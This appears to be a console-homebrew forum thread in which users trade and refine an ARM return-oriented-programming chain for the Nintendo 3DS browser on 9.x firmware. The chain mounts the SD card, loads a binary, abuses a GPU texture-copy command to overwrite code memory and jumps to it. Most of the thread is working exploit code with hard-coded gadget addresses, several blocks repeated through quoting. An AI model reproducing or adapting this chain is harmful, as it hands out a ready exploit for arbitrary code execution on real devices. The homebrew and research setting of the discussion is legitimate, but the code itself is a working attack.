        .word 0x0010C2FC @ LDMFD  SP!, {R0,PC}
            .word 0x001050B3 @ R0 = "dmc:"
        .word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD  SP!, {R3-R5,PC}
            .word 0xDEADBEEF @ R3, dummy
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R5, dummy
    @ open file
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
            .word 0x08F10000 @ R0 = this
            .word SELF_LOC+FileName @ R1 = filename
            .word 0x00000001 @ R2 = permission
            .word 0xDEADBEEF @ R3, dummy
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R7, dummy
        .word 0x0022FE0C @ IFile_Open(), then LDMFD  SP!, {R4-R7,PC}
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R5, dummy
            .word 0xDEADBEEF @ R6, dummy
            .word 0xDEADBEEF @ R7, dummy
        .word 0x001057C4 @ POP {PC}
    @ read payload
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
            .word 0x08F10000 @ R0 = this
            .word 0x08F10020 @ R1 = total_read
            .word BUFFER_LOC @ R2 = buffer
            .word CODE_SIZE @ R3 = size
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R7, dummy
        .word 0x001686E0 @ IFile_Read, then LDMFD  SP!, {R4-R9,PC}
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R5, dummy
            .word 0xDEADBEEF @ R6, dummy
            .word 0xDEADBEEF @ R7, dummy
            .word 0xDEADBEEF @ R8, dummy
            .word 0xDEADBEEF @ R9, dummy
    @ flush data cache
        .word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
            .word 0x003DA72C @ r0 (handle ptr)
            .word 0xFFFF8001 @ r1 (kprocess handle)
            .word BUFFER_LOC  @ r2 (address)
            .word CODE_SIZE @ r3 (size)
            .word 0xDEADC0DE @ r4 (garbage)
        .word 0x0013035C @ pop {lr, pc}
            .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012c1e0 @ GSPGPU_FlushDataCache
    @ send GX command
        .word 0x0010c2fc @ pop {r0, pc}
            .word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
        .word 0x00228af4 @ pop {r1, pc}
            .word SELF_LOC+gxCommand @ r1 (cmd addr)
        .word 0x0013035C @ pop {lr, pc}
            .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
    @ sleep for a bit
        .word 0x0010c2fc @ pop {r0, pc}
            .word 0x3B9ACA00 @ r0 (one second)
        .word 0x00228af4 @ pop {r1, pc}
            .word 0x00000000 @ r1 (nothing)
        .word 0x0013035C @ pop {lr, pc}
            .word 0x001057c4 @ lr (pop {pc})
        .word 0x001041f8 @ svc 0xa | bx lr
    @ jump to code
        .word CODE_JUMP
 
@ Data required for spider rop to work
InitData:
    .word 0, 0, 0, 0, SELF_LOC+_start+0x8C, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, SELF_LOC+_start, 0, 0x001057C4, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00130344, 0, 0, 0, 0, 0
 
    .align 2
gxCommand:
    .word 0x00000004 @ command header (SetTextureCopy)
    .word BUFFER_LOC @ source address
    .word CODE_TARGET @ destination address
    .word CODE_SIZE @ size
    .word 0xFFFFFFFF @ dim in
    .word 0xFFFFFFFF @ dim out
    .word 0x00000008 @ flags
    .word 0x00000000 @ unused
 
    .align 2
FileName:
    .string16 "dmc:/code.bin"
 
    .align 2
@ Padding
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0
I've already posted the same result before with RegionThree ROP, but I did not manage to run properly with no Self pointer. Moreover, 0x218 is a bufferoffset in GWROP which is not used here but this word still needs to point there or somewhere close to.
 
I've already posted the same result before with RegionThree ROP, but I did not manage to run properly with no Self pointer. Moreover, 0x218 is a bufferoffset in GWROP which is not used here but this word still needs to point there or somewhere close to.


Really weird, I've been using this payload non-stop for a couple of days. Maybe it's a firmware thing, I'm using 9.4.0-21E
 
Really weird, I've been using this payload non-stop for a couple of days. Maybe it's a firmware thing, I'm using 9.4.0-21E
Maybe so, or just because I checked mostly with RegionThree, which requires a bit more from the code. Anyway will check again for both RegionThree and VC injector
 
Really weird, I've been using this payload non-stop for a couple of days. Maybe it's a firmware thing, I'm using 9.4.0-21E

Confirmed, Self pointer is not needed in 9.2 too in loadcode and regionthree aswell.
What else have you tried? Looks like original words 5&6 just need to form a valid ROP code command pair, the offet does not really matter. Both simply may be changed to 0x001057C4 (POP {PC})
 
Confirmed, Self pointer is not needed in 9.2 too in loadcode and regionthree aswell.
What else have you tried? Looks like original words 5&6 just need to form a valid ROP code command pair, the offet does not really matter. Both simply may be changed to 0x001057C4 (POP {PC})


This is the code I use for tests, I have added a memcpy gadget and relocated gxcommand in its garbage registers. With this you have the entire payload loaded in the buffer address, so you can use all the unused space in the payload as a sort of "arguments" to the code.
Code:
    .arm
    .text
 
#define SELF_LOC 0x08B88400
#define BUFFER_LOC 0x18410000
#define CODE_SIZE 0x00004000
#define CODE_TARGET 0x19592000
#define CODE_JUMP 0x009D2000
#define SELF_SIZE 0x00000300
    .global    _start
@---------------------------------------------------------------------------------
_start:
    @ mount SD
        .word 0x0010C2FC @ LDMFD  SP!, {R0,PC}
        .word 0x001050B3 @ R0 = "dmc:"
        .word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD  SP!, {R3-R5,PC}
        .word 0xDEADBEEF @ R3, dummy
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R5, dummy
    @ open file
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
        .word 0x08F10000 @ R0 = this
        .word SELF_LOC+FileName @ R1 = filename
        .word 0x00000001 @ R2 = permission
        .word 0xDEADBEEF @ R3, dummy
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0x0022FE0C @ IFile_Open(), then LDMFD  SP!, {R4-R7,PC}
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R5, dummy
        .word 0xDEADBEEF @ R6, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0x001057C4 @ POP {PC}
    @ read payload
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
        .word 0x08F10000 @ R0 = this
        .word 0x08F10020 @ R1 = total_read
        .word BUFFER_LOC @ R2 = buffer
        .word CODE_SIZE @ R3 = size
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0x001686E0 @ IFile_Read, then LDMFD  SP!, {R4-R9,PC}
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R5, dummy
        .word 0xDEADBEEF @ R6, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0xDEADBEEF @ R8, dummy
        .word 0xDEADBEEF @ R9, dummy
    @ flush data cache
        .word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
        .word 0x003DA72C @ r0 (handle ptr)
        .word 0xFFFF8001 @ r1 (kprocess handle)
        .word BUFFER_LOC  @ r2 (address)
        .word CODE_SIZE @ r3 (size)
        .word 0xDEADC0DE @ r4 (garbage)
        .word 0x0013035C @ pop {lr, pc}
        .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012c1e0 @ GSPGPU_FlushDataCache
    @ send GX command
        .word 0x0010c2fc @ pop {r0, pc}
        .word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
        .word 0x00228af4 @ pop {r1, pc}
        .word SELF_LOC+gxCommand @ r1 (cmd addr)
        .word 0x0013035C @ pop {lr, pc}
        .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
    @ sleep for a bit
        .word 0x0010c2fc @ pop {r0, pc}
        .word 0x3B9ACA00 @ r0 (one second)
        .word 0x00228af4 @ pop {r1, pc}
        .word 0x00000000 @ r1 (nothing)
        .word 0x0013035C @ pop {lr, pc}
        .word 0x001057c4 @ lr (pop {pc})
        .word 0x001041f8 @ svc 0xa | bx lr
    @ memcpy:
        .word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
        .word BUFFER_LOC @ r0 (dst)
        .word SELF_LOC @ r1 (src)
        .word SELF_SIZE @ r2 (size)
        .word 0xDEADC0DE @ r3 (garbage)
        .word SELF_LOC+_start+0x8C @ r4 (required for rop)
        .word 0x00240B54 @ memcpy (ends in LDMFD  SP!, {R4-R10,LR})
gxCommand:
        .word 0x00000004 @ command header (SetTextureCopy)
        .word BUFFER_LOC @ source address
        .word CODE_TARGET @ destination address
        .word CODE_SIZE @ size
        .word 0xFFFFFFFF @ dim in
        .word 0xFFFFFFFF @ dim out
        .word 0x00000008 @ flags   
    @ jump to code
        .word CODE_JUMP @ unused to gxCommand
 
@ Data required for spider rop to work
    .word 0, 0, 0, SELF_LOC+_start, 0, 0x001057C4
FileName:
    .string16 "dmc:/test.bin"
    .align 2
    .word 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00130344
 
@ Padding
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
 
I remember that someone, I can't remember which user, but I believer it was Rinnegatamante, said something about how .CIA can be stored in the system update cache. If that was you, can you expand more on that?
 
This is the code I use for tests, I have added a memcpy gadget and relocated gxcommand in its garbage registers. With this you have the entire payload loaded in the buffer address, so you can use all the unused space in the payload as a sort of "arguments" to the code.
Code:
    .arm
    .text
 
#define SELF_LOC 0x08B88400
#define BUFFER_LOC 0x18410000
#define CODE_SIZE 0x00004000
#define CODE_TARGET 0x19592000
#define CODE_JUMP 0x009D2000
#define SELF_SIZE 0x00000300
    .global    _start
@---------------------------------------------------------------------------------
_start:
    @ mount SD
        .word 0x0010C2FC @ LDMFD  SP!, {R0,PC}
        .word 0x001050B3 @ R0 = "dmc:"
        .word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD  SP!, {R3-R5,PC}
        .word 0xDEADBEEF @ R3, dummy
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R5, dummy
    @ open file
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
        .word 0x08F10000 @ R0 = this
        .word SELF_LOC+FileName @ R1 = filename
        .word 0x00000001 @ R2 = permission
        .word 0xDEADBEEF @ R3, dummy
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0x0022FE0C @ IFile_Open(), then LDMFD  SP!, {R4-R7,PC}
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R5, dummy
        .word 0xDEADBEEF @ R6, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0x001057C4 @ POP {PC}
    @ read payload
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
        .word 0x08F10000 @ R0 = this
        .word 0x08F10020 @ R1 = total_read
        .word BUFFER_LOC @ R2 = buffer
        .word CODE_SIZE @ R3 = size
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0x001686E0 @ IFile_Read, then LDMFD  SP!, {R4-R9,PC}
        .word 0xDEADBEEF @ R4, dummy
        .word 0xDEADBEEF @ R5, dummy
        .word 0xDEADBEEF @ R6, dummy
        .word 0xDEADBEEF @ R7, dummy
        .word 0xDEADBEEF @ R8, dummy
        .word 0xDEADBEEF @ R9, dummy
    @ flush data cache
        .word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
        .word 0x003DA72C @ r0 (handle ptr)
        .word 0xFFFF8001 @ r1 (kprocess handle)
        .word BUFFER_LOC  @ r2 (address)
        .word CODE_SIZE @ r3 (size)
        .word 0xDEADC0DE @ r4 (garbage)
        .word 0x0013035C @ pop {lr, pc}
        .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012c1e0 @ GSPGPU_FlushDataCache
    @ send GX command
        .word 0x0010c2fc @ pop {r0, pc}
        .word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
        .word 0x00228af4 @ pop {r1, pc}
        .word SELF_LOC+gxCommand @ r1 (cmd addr)
        .word 0x0013035C @ pop {lr, pc}
        .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
    @ sleep for a bit
        .word 0x0010c2fc @ pop {r0, pc}
        .word 0x3B9ACA00 @ r0 (one second)
        .word 0x00228af4 @ pop {r1, pc}
        .word 0x00000000 @ r1 (nothing)
        .word 0x0013035C @ pop {lr, pc}
        .word 0x001057c4 @ lr (pop {pc})
        .word 0x001041f8 @ svc 0xa | bx lr
    @ memcpy:
        .word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
        .word BUFFER_LOC @ r0 (dst)
        .word SELF_LOC @ r1 (src)
        .word SELF_SIZE @ r2 (size)
        .word 0xDEADC0DE @ r3 (garbage)
        .word SELF_LOC+_start+0x8C @ r4 (required for rop)
        .word 0x00240B54 @ memcpy (ends in LDMFD  SP!, {R4-R10,LR})
gxCommand:
        .word 0x00000004 @ command header (SetTextureCopy)
        .word BUFFER_LOC @ source address
        .word CODE_TARGET @ destination address
        .word CODE_SIZE @ size
        .word 0xFFFFFFFF @ dim in
        .word 0xFFFFFFFF @ dim out
        .word 0x00000008 @ flags   
    @ jump to code
        .word CODE_JUMP @ unused to gxCommand
 
@ Data required for spider rop to work
    .word 0, 0, 0, SELF_LOC+_start, 0, 0x001057C4
FileName:
    .string16 "dmc:/test.bin"
    .align 2
    .word 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00130344
 
@ Padding
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0
Again, see above my post for shrinked RegionThree, the same trick with gxcpmmand data relocated to memcpy and also merged with several initdata values ;)
 

Site & Scene News

Popular threads in this forum